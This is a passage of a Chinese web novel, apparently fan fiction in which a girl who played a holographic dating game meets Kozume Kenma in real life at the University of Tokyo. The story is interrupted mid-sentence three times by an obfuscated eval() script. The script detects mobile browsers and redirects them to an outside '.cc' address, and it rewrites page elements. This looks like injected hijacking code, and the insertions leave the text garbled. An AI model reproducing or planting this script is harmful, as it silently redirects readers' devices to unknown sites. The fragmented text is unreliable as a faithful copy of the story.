还好我反应快,否则就要被星愿判定成过度打游戏导致精神失常,压着我去精神病院了。 一边摁开密码锁,我这样想着。 不过,找到游戏舱就能证明我不是信口开河了吧,到时候再把游戏舱甩到星愿面前。 至于邮件的事情,邮箱出bug或被我误删了也是有可能的。 …… 我那么大一个游戏舱跑到哪里去了。 原本被安置在床边的游戏舱不翼而飞,连带着邮件和所有关于游戏的痕迹,通通消失在了这个世界。 头一次,我真的想把自己送去医院看看脑子。 [6月15日中雨] 医生说我什么事都没有,或许可以接着观察一段时间,届时看看[幻觉]会不会再度出现。 我认真地看着他的眼睛:“那不是幻觉。” 他一噎,默默低下头,在键盘上敲打一番,一张崭新的病历单被小型打印机吐了出来:“要不还是拿点药吧?” [6月16日中雨] 梅雨季,世界雾蒙蒙的,被笼罩在绵延不绝的雨幕里,空气湿得让人喘不过气。 我没有拿药,一个人离开了医院。 至少我还没有到分不清幻想和现实的地步吧? 其实书上表明,精神病人的世界都是这样逻辑自洽的。 不过本千流还是对自己的精神状态充满信心。 我对七月出成绩很有信心,接下来要做的事情就是准备八月的入学考试。 顺道找寻一些证明那个游戏存在的证据。 [8月5日艳阳天] 星愿和我的成绩都不错。 她拿到了国内一流大学的录取通知书,而我的成绩也足够达到东京大学的标准。 唯一让我不满的就是对那款游戏的搜索始终一无所获。 * 我对研磨的数学作业指指点点:“连这个辅助线,包快的。” 研磨执着地用另一条路径写了洋洋洒洒的一大页,解题过程过于高深,看起来用了很多超纲的内容,反正我是看不懂。 不服输的我拿起笔写下了简略的解答过程。 满意地收获研磨刮目相看的目光,我得意仰头:“怎么说我也是高材生,这题的原题也是被我刷过的。” “千流之前说本来打算来日本读书吧。”他问。 我点头:“如果我不是鬼,现在就在东京大学读书了。” * “又在发呆。”星愿给了我一个脑瓜崩,“赶紧收拾行李,本大小姐亲自给你送考。” “再打千流妈妈就要教训你了。”星愿妈妈笑着拍了拍她的脑袋,“你也帮忙收拾收拾啊。” 其实并没有什么要带走的东西。 除了从小到大好朋友们送的礼物,还有书页里夹着的一些悄悄话,以及部分信件。 我恍惚地看着手中的信件,被保存完好的信纸,落款是当年那个人的游戏名,像是乱打的一串乱码——kk,我回信的时候也一直称呼他k君。 摩挲着水墨色的樱花,即使时至今日对k君的感情似乎已经被冲淡,但依然对他很是感激。 他似乎也是东大的学生。 已经记不得是几年前我们写的信件了,想来这时候他也该毕业了吧。 到东京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240044|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了再写封信表达对他的感激吧。 这样想着,我翻找起装信封的盒子。 “千流?”星愿妈妈询问,“有什么要找的吗?” “一盒装着信封的铁盒。”不知道被我遗忘在哪个角落了。 “这样啊。”她思索,“先把别的东西整理好,到时候我帮你找找再寄过去,怎么样。” “麻烦阿姨了。”我不好意思地说着。 [8月6日晴] 和星愿抵达东京,我们两个的第一站是东京天文馆。 一路上,我和星愿强烈地安利天文馆的设备:“真的很逼真哦!” “千流说得跟自己体验过一样。” “……” “我做过攻略啦。” * 完全差评。 我愤愤地从硬邦邦的座椅中离开,总算有新线索了。 那家游戏公司绝对是日本本地的厂商,不然也不会过度美化这个天文馆了。 平心而论,天文馆的设施不算差,和国内某些天文馆相比好了许多,但和记忆力触手可及的星河相比仍然相去甚远。 星愿捏了捏我的脸颊:“我怎么觉得很不错,你这一幅没兴致的表情是怎么回事。” 身为旅游搭子,怎能兴致缺缺。 我立马严阵以待:“星愿大人,你喜欢看排球比赛吗?” “你什么时候有这项爱好了?”她疑惑。 “去看嘛去看嘛!” [8月7日晴] 东京排球馆前的电子屏幕上滚动着最近的高校对局排布。 [音驹]的字眼映入眼帘。 那款游戏还是取材了现实中的队伍吗? 总之,我和星愿混入了加油助威的队列。我们的座位刚好被一堆音驹粉丝包围,红色[维系]的旗帜系在上方。 坦白来说,这届音驹的成员相较于游戏里研磨的那一届,实力大幅度地下滑,光是我也能看出凭借这样的实力是不能进入全国大赛的。 教练的位置是一个乌黑头发的年轻教练。 我收回视线,摇摇头。 ——我居然以为在那里可以找到猫又教练。 * “江千流!”我被星愿狂rua一顿头发,引来周围霓虹群众的围观。 “本来以为你是看了什么番打算圣地巡游把我带到这里玩,结果怎么越玩越失落,嗯?”她把我的聪明脑袋瓜当作木鱼一顿敲打。 我乖巧:“下次听从星愿的安排。” [8月15日晴] 入学考试的题目尽在我的掌握之中,我大言不惭地对在考场外等候的星愿这样说。 结果引来了几个中国面孔的注视。 我讪讪别过脑袋,东京大学的中国留学生原来有这么多吗。 没想到星愿比我还狂妄:“那去吃庆功宴,怎么样?” “我刚刚在网站上看到了一个好评如潮的寿司店。” “嘛,星愿怎么不像那种家长一样,在外面抓耳挠腮十分紧张。” “紧张又不能帮你代考。”她牵起我的手,“快点,我要饿坏了。” “好好好。” [9月15日小雨] 星愿的大学后天开学,她和我缩在被窝里,声音闷闷不乐:“马上就要晒成黑炭了。” 我含笑:“碳烤星愿。” “可恶,为什么千流不用军训,这不合理。” 比自己受累更可怕的是好友的轻轻松松。 我听着星愿浅浅的呼吸声,应该是睡着了。 张开手,穿过指缝,月光透过床帘的缝隙,映在指尖。 在东京驻留越久,越有一种不真切的感觉。 全息游戏无比真实地反映了这座城市的构造,桥梁与小巷,熟悉地像是我生活过的另一座城市。 但除此之外,这座热闹的城市里没有我想见的人。 所以,漫无目的的寻找,好像也失去了意义,就像一遍一遍地把自己从那个世界清醒地抽离,久到时间把它模糊了,恍惚间连自己也觉得——其实只是幻觉而已。 除了我自己,没有人能证明这段故事的存在。 我把月光攥在手里,轻声:“好不甘心。” 月光温柔地把人拖入梦乡。 在梦里,我听到了熟悉的电子音,小八生无可恋的工作式播报也变得那样亲切。 [你好,玩家江千流。] [游戏加载中……] 46.捉狐狸注意事项 01 常言道,游戏是游戏,现实是现实。 当然,在这个生存压力大到焦虑都成为一种普遍现象的社会,总有人把自己包裹在游戏的茧中,借以遗忘现实生活的不如意。 也因此社会新闻里总会出现以下的场景: 五旬(老)母眼睛上打着厚厚的马赛克,指着穿花裤衩、抱着手办的同样被打上厚码的男子,哽咽表示: “他不愿意出去工作,跟别人交往,还说这个玩偶就是他的老婆。” 喜欢玩游戏没什么错,选择减少社交也是个人的自由,唯一我不认可的就是“啃老”这回事。 不过通过节目组了解的逐步深入,这位男子性格形成的背后也有其母亲的推波助澜…… 言归正传,虽然本人确实是一个游戏宅,也常对纸片人高呼老公老婆,母胎solo但在游戏里养过很多崽。 即便是这样,我也没有走火入魔到分不清游戏与现实的地步……吧? 原本笃定的语气因为眼前的场景打了个转,变得有些飘忽不定。 我站在参天榕树与骄阳共同织就的斑驳树影里,侧身躲在树干后,在别人眼里,此时我的举动分明有些鬼鬼祟祟,路人频频向我投来目光。 但我顾不及这些,一边时不时抬头向「东京大学」牌匾旁的招新岗张望,一边敲打着手机,给远在中国的好友发去信息。 「你的好友“江千流”戳了戳你」 「打工皇帝江千流(入侵日本中):我怀疑我的脑子出问题了(惊恐jpg.)」 「未来女明星:你才发现?」 「打工皇帝江千流:……」 「打工皇帝江千流:不是,我是认真的。」 「打工皇帝江千流:是这样的,虽然星愿你一直不相信我说过的全息游戏,但那款游戏真的存在。」 「我刚刚准备去东大报道,发现攻略对象从游戏里面跑出来了……虽然我跟他说过目标院校是东大,但怎么说这种事情都很匪夷所思啊!!!」 我仍然缩在树干后,绝不是我看错了,这样标准的焦糖布丁脑袋世界上不存在第二只。 手机再次振动起来,我点开绿色软件。 「未来女明星:我问一件事」 「你昨天几点睡的?」 「打工皇帝江千流:四点。」 「未来女明星:那你最好先忽视那个攻略对象,直接走过去找别人报名,回去睡一觉。」 「熊猫眼小姐。」 我的好友觉得我累到产生幻觉了。 我发去靓丽自拍,再三声明熊猫眼什么的是不存在的,还是采纳了好友的建议。 拍了拍自己的脸颊,并没有把幻觉成功拍走,遂迈着飘浮的步伐,头顶的骄阳从斜侧面入侵,略过帽子照在我的后颈。 我把帽檐拉得又低了些,刻意不去看左侧的焦糖布丁脑袋,即便他毫不掩饰的目光直勾勾地盯着我,仿佛戴着的渔夫帽也被这样的目光勾走,露出藏在下面的、我的面孔,但这样的感觉让我进一步确信。 ——幻觉嘛,绝对是幻觉。 并且还是ooc了的那种。 研磨他,很少用这样的眼神去看人。 他只会在视线相接的前一秒,就先一步若无其事地偏移目光。 当然,表白的时刻和凑近的时刻除外。 于是,我泰然自若地顶着「猫猫的凝视」,用长期受游戏和动漫熏陶的日语与秃顶的中年老师交流着。 “我叫江千流。” “对,是新生,来自中国。” “办理入学手续。” 秃顶的中年老师先是用稍快的语速小声说了句什么,我只能依稀分辨出“…真奇怪啊…”几个词。 毕竟我的日语水平并不高,只能服务于日常交流。 所幸后面他渐渐放慢了语速,耐心跟我说着一些注意事项。 例如我手里的那些错综复杂的表格该到哪些地方去一一盖章和办手续,他边说,我边在事先准备好的学校地图里标记起来。 待到全部的点标记完毕,我看着手里的地图,一时有些头晕目眩。 盖章的地方分布在学校的四周,每个地方均隔着不短的距离。 应该在日本推行一站式盖章的改革,减轻群众负担,从而便民利民,我这样想着。 「千流」 在异国他乡听到纯正的中国话,还叫着我的名字,让我有些恍惚,是研磨的声线。 一旁被我刻意忽视许久的研磨耷拉着头,很无精打采的样子,让我都有些狠不下心来继续忽视他,有自己想法的手跃跃欲试地想拍拍他的脑袋。 对空气拍一拍,会被当作精神病人的。 ——虽然我可能真是。 “研磨刚刚说的是中文吗?”秃头老师惊讶问道。 “我稍微自学了一些。” 难怪研磨的发音这么标准,我点点头,颇有吾家少年初长成的欣慰,研磨的学习速度,只要感兴趣的话,做什么都能很快上手吧。 …… 不对。 老师他,不可能看到我的幻觉,唯一的答案就是眼前的研磨是切切实实存在于现实的,而非我幻想中的人。 或许有人以研磨为原型做了我玩的游戏? 那眼前的人知道这件事吗。 还是本身,他就是这个游戏的创作者,不过取材对象是自己? 他们的交流并没有因为我的困惑而停下。 “孤爪同学刚刚说的那句中文是什么意思?”秃头老师有些好奇。 “是千流的中文名。” “啊,真是的,原来你们原先就认识。”热心肠的老师朝研磨挤眉弄眼一番,拍了拍他的肩,擅自把我俩凑成了一对,“既然如此,反正今天也没有什么要忙的,研磨你就帮千流带带路吧。” 我垂泪,心里的小人伸出尔康手,大声嚷嚷着“这种事情不要啊。” 毕竟我还没有捋清这件事的前因后果,也没有做好久别重逢的准备。 研磨却应下了,很有礼貌地与古道热肠的老师鞠躬道别。 我犹如上了发条的机器人,灵魂抽离着跟上他的步伐,思绪在打架。 「首先,研磨他认识我。 这意味着所谓的“取材论”都要被通通推翻,但要让我这个唯物主义者相信,是游戏里的角色跑到了现实,还是有些天方夜谭」 在微滞的沉默气氛里,率先打破僵局的是研磨,我偏从他那和往常没什么差别的声线中读出一些控诉的味道。 “千流你,刚刚是又没有认出我吗?” 我神色一凛,连忙摆手声明“完全没有这回事,一开始就认出研磨了”,他才缓缓移开视线,说不准信没信。 “研磨的发型这么显眼……” “只是靠发色?”他无奈地叹了口气,“就是因为这样才……” “才什么?”我好奇地望向他。 “没什么。” 转角处匆匆冒出的自行车险些撞到我们,车主一边回过头挥手说着抱歉抱歉,转眼又栽到了坑里,光是看着就相当吃痛。 偏偏当事人毫不在乎地从地面上迅速起身,长腿一迈又跨上车,蹬了两步又上路了。 研磨顺势把我护在道路靠里的一侧,标着记号的校园地图也被他接管,一时间,我变得游手好闲,跟着他的步伐走在陌生的街道上。 这样的情景我从未设想过。 如果说年轮是树木岁月的见证,那头发的长度,大概也是一种度量人类岁月的方法。 但是研磨似乎只长了个子。 记忆中常淹没在人群里的脑袋,俨然比一米六的我高出一截。 不变的是发型。 那款焦糖布丁的头发依旧维持着原来的模样,连同金色与黑色的交汇处的位置也没有分毫改变。 我敢相信,即便有人拿着游戏里的cg图来对比,也找不出任何区别。 * 不得不说,「谈论过去的事情」,永远是拉进与过去好友距离的最好方式。 四月的东京空气中还泛着些微凉意,因此在偌大的校园里来回奔波也不会感到燥热。 只是步伐因为有些疲倦,逐渐放慢了。 有人工导航引路,我不带大脑地亦步亦趋走在研磨后面:“研磨还记得我们第一次见的场景吗?” “很难不记得。”毕竟是那么特殊的出场方式。 “那研磨对我的第一印象是什么,震惊于世界上真的存在鬼魂吗?” 他突然站定在原地,紧跟在他身后的我一时不查,撞上了他的后背。 我揉了揉自己发红的额头。 “震惊的是,啊,鬼魂原来是这样的吗?” 那平平淡淡的语气被我精准地读出几分揶揄,我使坏地凑近又凑近,试图限制研磨的行走路径,把他送进绿化带。 作战大失败。 即使我挤压研磨身边的空气,他依然笔直地走着,再靠近就要贴在一块了。 本千流只好作罢。 * 终于,在七拐八拐之后,我们耗费了一整个下午的时间盖完了所有的章。 我拉着研磨来到了大学附近的一家咖啡厅,坚决表示一定要请他吃饭,以此来表达我的感谢。 坐在靠窗的位置,屋外是喧嚣的人群,和渐渐黯淡的天色,屋内是压低着音量交流的顾客,弦乐随着老式唱片机的转动静谧地流淌。 玻璃罩出了另一个世界。 我接过他递来的地图,像是游戏结束后的结算一样,在图上圈圈画画,把打卡过的点都打上勾。 我垂眸注视着点与点之间的分布,打趣般抬起头,把地图翻了个面,展示在研磨面前:“研磨给我带路的时候,是故意绕了远路吧。” 我得意:“是不是久别重逢,想要跟我多相处一会。” 预想中,研磨大抵会偏过脑袋,琥珀色的瞳孔里映着街边陌生人的面孔,小声地说一句“没那回事。” 事实上,他也下意识地偏头,我饶有兴致地支着脑袋看向他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252597|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是。” “嘛,研磨你就承认吧,不要狡辩哦…” 诶?! “是故意的。” 他毫不掩饰地承认了,焦糖布丁脑袋的目光马上就要落到我的脸上。 我却在这时投降般低下头,幸好服务员提前把饮品递上了桌,酸涩的柠檬汁被猛地一吸,我的脸酸得皱起,却还是没有抬起头。 “研磨你现在是在读?” “大二。” “噢,没想到我现在还比你小一岁。” …… “是啊。” 直到这时我才意识到,我离开那款游戏的时间仅是几个月,一个假期,也因此,我还用过往的相处模式对待研磨。 但他的时间确确实实地流逝了两年。 从透过屏幕注视的小不点变成了比我还要高的「学长」,变动的不只是外在。 我好像不能用过去的眼光看待他。 或许在他眼里我是个不告而别的鬼魂。 那我该告诉他过去的日子里,我都把他当作一位攻略对象在交往吗? …这样说是会被当成精神失常的病人吧。 我有些不安地低头喝着冰柠檬汁,一口气喝了半杯,胃部抗议地蜷缩。 他把装着栗子蛋糕的陶瓷盘推向我,瓷盘与玻璃杯相撞,发出的脆响让我茫然地抬起头。 “千流现在不是鬼魂了,喝那么快不会胃疼吗?” 我接过栗子蛋糕,庄重地取下顶端的栗子,圆滚滚的样子看得人稍微心情放松了些。 圆圆的栗子落在研磨的蛋糕上,对称的两颗板栗像两只眼睛。 “栗子蛋糕的灵魂转移给研磨了。”我合十手掌,“表示我的感谢。” “感谢什么?” “感谢研磨……用任务的奖励帮我重新来到这个世界。” 我悄悄观察他的神情,他的情绪似乎并没有因为我的话语有什么变动。 他拿起手机,“咔嚓”一下拍下栗子蛋糕。 没想到研磨也有吃饭之前拍照留念的习惯,我的研磨手册又添上一笔。 “那没有什么的。”他回答,“千流也不用对我说什么谢谢。” 我收回试探的目光。 在他眼里这个世界运行的后续果然和原本游戏的设定一样吗? [世界融合?] 唯物主义者实在难以置信。 一些询问的话语在口中转了好几圈:“研磨你,没有什么想要问我的吗?” 比如为什么不告而别,任务奖励兑换之后我这几年又去了哪里,为什么会变成比他小一届的学生。 这同样也是我的疑问。 伴随着他注视着我的神情,我的心也被高高拎起。 “有一个。” “请说。” “千流来到日本之后,是不是跟之前一样猛吃甜点。” 哈?! 嗯…最初来到日本的时候确实忘记自己的食量不是在玩全息游戏的时候,那样所向披靡,也放纵地吃了好几天。 我震惊地挤了挤脸颊两侧的肉,难以置信:“有那么明显吗?” 他迅雷不及掩耳地抬起手机,咔嚓一声,千流表情包新鲜出炉。 我立马张牙舞爪勒令他删除,研磨乖乖地当着我的面把那张照片删去。 “很可爱。”他合上手机,“比之前轻飘飘的时候健康。” “轻飘飘是因为做鬼的时候总是飘着走路吧。” 研磨回忆,摇头:“那种体重现实中也会被风刮走吧。” 并没有。 本人生活数十载,从未有过那种遭遇。 不过我也觉得那张照片抓拍得很可爱,我偷偷洋洋自得,要不是怕被研磨看出我自恋的一面,我绝对会让他把那张照片发我一份再删去。 我翘起脚跟,轻松地晃了两下。 预料中的质问场面完全没有发生,今天的相见也和老友重逢那样和睦。 果然是多虑了。 * 猫猫遗憾地收回试探的爪子。 两颗栗子招摇地彰显它们的存在感。 在把蛋糕胚吃抹干净之后,他不得不食用那两颗板栗。 软糯的板栗沁着香甜,咬下去,里面被注了巧克力流心。 等到下次。 研磨拨弄着盘中的栗子。 千流的脸上明晃晃地写着如释重负,一脸满足地大快朵颐。 初次见面似乎不适合单刀直入地询问千流,光是从她紧张的神态就能看出来了。 他低垂着脑袋,意识空间盘旋着最后一次见面时,脑海里出现的系统操纵面板。 里面的道具栏里飘着仅剩的几个道具,视线停滞在测谎仪上。 有定位功能的手环也被改造成了发圈的样子存放在其中。 他最终还是关闭了系统面板。 既然已经再次见面,那就没有什么心急的道理。 孤爪研磨敛去外溢的神情,这样告诉自己。 47.捉狐狸注意事项 02 * 向玻璃缸内投入饵料,白色尾巴的金鱼浮出水面,缓慢地吞食着饵料。饱食一顿的它开启了营业模式,一改前面对我爱搭不理的姿态,亲呢地隔着玻璃缸吻了吻我的指尖,索要额外的鱼粮。 我把手指抽离,冲着这个小金鱼比了个鬼脸,“今天的已经喂完了。” 它浅浅地扫了我一眼,一只鱼也能露出嫌弃的表情,摇了摇尾巴头也不回地游走了。 黑色的屏幕幽幽地亮了起来。 「熬大夜打游戏:千流觉得今天晚上的栗子蛋糕怎么样」 「打工皇帝江千流:超好吃!!!」 「只是撑到明天早上都不想吃早饭了」 「T_T」 「熬大夜打游戏:早饭还是要吃的。」 「学校旁边有一家专门做芋泥蛋糕的店,千流想去吃吗?」 芋泥脑袋的我被蛊惑,晕乎乎地秒回。 「去!!」 在新的学校有熟人简直是再好不过的体验了。 现在的我俨然手握一张东大活地图,吃喝的地点完全不用发愁。 我心满意足地栽倒在榻榻米上,蛄蛹着把自己盘在厚实的被子里。十月的霓虹,在夜晚敞开窗户,阵阵凉风的白噪声很适合入睡。 …… 幽蓝的屏幕照亮我酸涩的眼。 ——完全睡不着! 挣扎了一个小时的我干脆坐了起来,拉着椅子坐在柜子处的金鱼身边。 很好,金鱼亦未寝。 我对着咕噜咕噜吐泡泡的它自言自语: “按理来说早就过了认床期。” 最开始的认床期也因为和星愿总是躺在床上聊到深夜而顺其自然地完成了过渡。 “今天为什么睡不着呢?” 我紧盯金鱼智慧的双眸,显然它也没有任何头绪。 轻叹一口气,我摩挲着下巴:“久别重逢太开心了?” 感受了一番自己的思绪,总觉得喜悦的程度没有到让睡眠质量超好的我睡不着觉的地步。 “非要说的话——好像一些事情被忽视了。” 我暂时把眼睛离开傻鱼,有种盯着它会被传染七秒记忆的错觉。我试图从记忆中捕捉那几分微妙的感觉。 “啊!” 鱼真的受不了一惊一乍的饲主了。要是它会说话,能跳出水缸的话,准在她拖来椅子碎碎念的时候,就潇洒地喂她几簇水花。 人的世界果然比鱼的复杂好多。 它看见饲主稍稍上扬的嘴角一下凝滞住,脸颊的颜色堪比它们金鱼族纯种红金鱼的色彩。 它们鱼就不会变脸。 饲主捂脸栽倒在鱼缸旁边,动静大得它的窝都溅起水花。 “我发现了一件历史遗留问题。”饲主闷闷的声音从棉质的睡衣间隙流出。 啊,它到底也是一只上了年纪见多识广的鱼了,人的声音刚好和初出茅庐的自己、第一次遇到喜欢的小金鱼一样。 那样轻松的气氛太容易让人所有紧绷的神经都轻盈地散开,以至于我忘了一件很重要的事情。 仗着是在玩游戏,和研磨牵过手了,对吧?甚至还有一次是自己主动拉的。 在研磨表白的时候问,只要不是鬼就可以了吧?我是怎么回答的。 当初轻飘飘的“对”如今变成回旋镖正中靶心。 一幕幕闪回于本人结束考试之后,脑容量并不大的脑袋瓜。 俨然将全部的空间都占据了。 指针走到凌晨一点半,金鱼也不管我,一条鱼去睡觉了。 我摊开手,骨节还是分明,但比分别的时候多了点肉。研磨牵起手的时候一次比一次更有侵略性,最后一次相握的时候,漫不经心地把每一根手指都悄悄嵌入指间的缝隙。 「流水」我默念。 是被表面静谧的溪流拖入暗涌的感觉。 “哈哈。”我摆了摆手,同手同脚地走向柔软的榻榻米,“晚上总是会想一些有的没的。” 退一万步来说,要是研磨还把那些事情放在心上,也不会在第一天这么自然地和我交流,对吧? 两年也不算短,足够一对情侣完成分分合合的动作,更别提记住一个不知道飘到哪里去的鬼魂了。 没错,就是因为这样,说不准研磨在这两年又遇到了某个女生,所以才能跟我像朋友一样自如地相处。 反正我给的也一直都是模糊不清的回答吧。 我平躺在榻榻米上,合上双眼。 半睁眼的我从平躺转为侧躺,锤了一下身侧的大猫玩偶。 「两年又不算长」 两年也不算短。 「我才过了半年呢,完完全全没有忘记研磨。」 但研磨怎么做都是他的自由吧。 夜幕中,一双炯炯有神的眼睛发着光。 我攥紧拳头,在深夜这么踌躇自己脑补想七想八,才不是千流的风格。 既然明天要一起吃早餐的话,索性早上兜兜转转地试探就好,要是研磨有喜欢的人就当少了一个饭搭子,没有的话,所谓游戏的阻碍已经被打破,本千流也没有不出手的道理。 小金鱼和它的饲主一起坠入了伴着凉风的梦境。 * 大早上兜售芋泥蛋糕的早餐店实属罕见。 我惺忪地打了一大个哈欠,哈欠传染给身侧的研磨,他揉了揉眼睛。 两个珍稀大熊猫迈入大门,热情的服务员姐姐看起来没有比我们大几岁,研磨娴熟地点了两份相同的芋泥蛋糕,还加上解腻的茶水,看起来确实是熟客。 或许是跟我吃久了,连口味都有些同化。 就像我因为研磨喜欢上苹果派。 没等多久,两盘蛋糕递上桌,服务员小姐一边说着请慢用,一边朝研磨眨眨眼。 看起来真的没有少吃,研磨过去,只有在买了半年的店才会和店主有几句短促的对话。 “女朋友?” 我抢先,笑眯眯地举起手:“暂时没有在谈恋爱。” 研磨轻笑,声音和温润的珠玉一般:“暂时。” “没有在谈恋爱。” 被刻意强调的、意有所指的词语进入耳畔,我暗道要稳住,在服务员小姐善意的、不知向我们俩哪位说的“加油哦”下,我维持着泰然自若的笑容。 “研磨还对别人推荐过这家店吗?” 他沉思,似乎真有推荐过的对象,我把芋泥蛋糕挖得有些皱巴巴。 “这家店还没跟小黑推荐过。” “小黑呀。”小黑的面孔一下浮现在我的脑海中,“小黑换发型了吗,还是鸡冠头?” 研磨垂眸把茶杯摆正:“稍微剃了一点,不过还是很幼稚的发型。” 顺着他的话茬,我看向研磨的头发:“说起来,不是我的错觉吧,研磨的头发完全没变。” 他开玩笑般支起下巴,手指在脸颊轻点:“说不定是怕千流跟之前一样,换了发型就不认人,才维持着这个头发。” “哈?!”芋泥的份量很足,不愧是研磨推荐的良心店家,我嘟囔,“研磨可真记仇,我才不是脸盲,那次也不是我的锅吧。” 我分明是被小八挖的坑害了。 “那是因为什么呢?” “…总之不是脸盲。”我不忘今天的来意,虽然前面的几段对话让我的内心明朗起来,喝了一大口茶,鼓起勇气,“刚刚那句,暂时的意思是?” “暂时就是暂时。”狡猾的研磨这么说,把球踢了回来,“千流的暂时是什么意思?” “就是目前没有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256170|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思。”我才不会率先接招。 话题像是被轻轻揭过,我们开始聊起选课的事宜,大学的选课很大程度上左右了大学生活水平。 我记了满满当当的一页笔记。 说来凑巧,我主修的计算机和研磨学的金融恰好在隔壁的楼栋,他甚至还辅修了计算机专业。 我看着他没有空隙的课表,倒吸一口凉气:“这么多课真的还有空玩吗?” “没有时间就创造时间。” 我心领神会,扒拉来侧边的菜单,挡住脸,偷偷露出两颗眼睛,滴溜溜地扫视着研磨的黑眼圈。 他直勾勾与我对视:“我最近很少熬夜打游戏了。” 才不信。 某人的全平台账号名称就是熬大夜打游戏。 是的,在昨天见面之后我就不知不觉地跟研磨加上了全平台的账号,甚至不记得是谁先说这样方便一起打游戏。 虽然世界的时间有着时差,但研磨和我入坑的游戏还是大抵相同,导致加起好友来也相当顺畅,只有一款似乎被中国独占的游戏他没有玩过。 ……其实我分明记得这款游戏是全球同步发售的,我将之称为世界融合的bug。 转眼间,到了研磨要去上课的时间,我轻摁手机开机键,余光里,写着今日寄语的屏保映入眼帘。 那本是为素材积累而设置的一天一换的屏保,不过一直忘了更换。 「真心比试探更接近答案」 …… 这个软件怎么开始推送这些奇怪素材了。 我决定马上进行删除。 指尖停顿在青白色的APP上方,我倏地抬起头,恰好撞上研磨的视线,他的瞳孔闪烁着我看不懂的光。 ——这样来来回回地打转好像很没有意思。 我的人生宗旨一向是握住了就不放手,下定决心就不回头,宝贵的时间就要和真正在乎的人掰碎了度过。 “研磨。”我认真地注视着他,垂落着不知该往哪处放的手诉说着内心的波澜,“暂时没有谈恋爱的意思是……” 他又给我沏了一杯茶,有了一幅接着促膝长谈的架势,把我的话语打断:“暂时没有谈恋爱的意思是还记得和千流的话。” 我觉得他看得分明,连我的台词都要抢走,黑心猫猫露出尖尖的爪子,问我会怎么对待它。 ——我大概会毫不犹豫地握住那双利爪。 因为在相握之前,它就会将其收起。 看似锋利的外表,被掩饰得完全才算应该警惕的危险。而耀武扬威地炫耀自己的爪子,更像是亲昵地袒露。 “不要把我想说的话抢走嘛。”没人在意被添上的那一盏茶,“我的意思也是,对研磨说过的话通通记得。” “啊。”焦糖布丁脑袋小心地收起爪子,懒洋洋地感受着被纱窗过滤的、柔软的阳光,拖长的语调像在耍赖,“为什么接下来要上课。” “唔,我还可以再玩一天才正式上课。” “好欠打,千流。” 他不情不愿从座位里起身,我喜气洋洋地朝他摆手,收获了一个锐利的眼神。 他倚靠在门边,蔚蓝色的风铃预告般,脆生生地响了起来。 “今天晚上。”我久违地从这只研磨脸上看出了别扭的感觉,“去约会吗?” 哎呀。 服务员姐姐都悄悄看着我们笑,我红着脸低头敲敲打打。 风铃的脆响送来讯息。 「好」 研磨看似冷静地拉开门,实则连开门的方式都记反了,总之还是顺利地走出了店门。 明明是他这么手忙脚乱。 我用冷冰冰的双手附上滚烫的脸颊,脑袋跟蒸汽机一样冒着热气。 ——为什么看着他,我也会觉得难为情。 48.捉狐狸注意事项 03 * 霓虹灯管在暮色里次第亮起,把整条商业街的店铺招牌连成闪烁萤火的河流。 我驻足于画风奇特的灯牌下:“鲲?” 研磨接过店员递来的盒装大福,顺着我的视线看向招牌:“鲲?” 这家甜品店的logo是只金鱼,让我感到奇怪的就是它的画风格外写实,按理说,作为店铺Logo的金鱼应当是动漫风或者简约风格。 但这家店logo上的金鱼让我一下想到了家中缸里的那条傻大鱼。 我和研磨走进店里,店内的装潢倒是很符合当下年轻人的审美,色彩丰富却不晃眼。 “鲲是我家养的那只金鱼的名字。” 研磨还是很喜欢苹果味的甜点呢,我看着他把画着苹果图案的那个大福放在自己面前。 接着是我最爱吃的树莓味。 “谢谢。”我迫不及待地拨开包装。 “为什么给金鱼起名叫鲲?” “啊,这个嘛。”我跟倒豆子一般絮絮叨叨起来,“我家那条鱼可不一般,寻常的金鱼只要吃一点点鱼食就行了吧,所以刚把它捞回家的时候,我就一点一点地喂它。” 鲲和寻常的金鱼并不一样。 它少了“吞咽”的行为,丢在水面的鱼食一秒就被它吞个精光。 “但它一直吃不饱,还在水面上跟我吐泡泡抗议。”我也不知道为什么能看懂它是在索要食物,“每次都要吃一整袋。” “所以就叫它鲲了。” 总算拨开繁复的包装了,光是隔着包装的触感就让我对手里的大福满怀期待,树莓果酱甜度适中,红彤彤的流心衬得外皮柔软洁白。 我怔愣地看了看手中的大福,一入口就觉得它的味道分外熟悉,我抬头向研磨确认:“是之前小黑买的那家店吗?” 研磨也咬了一小口:“这也能尝出来吗?” 在美食评鉴家的味蕾下,一切甜品店制品的细微差别也能被分辨出来,我得意捧起手中的树莓味大福:“研磨还需要修炼。” 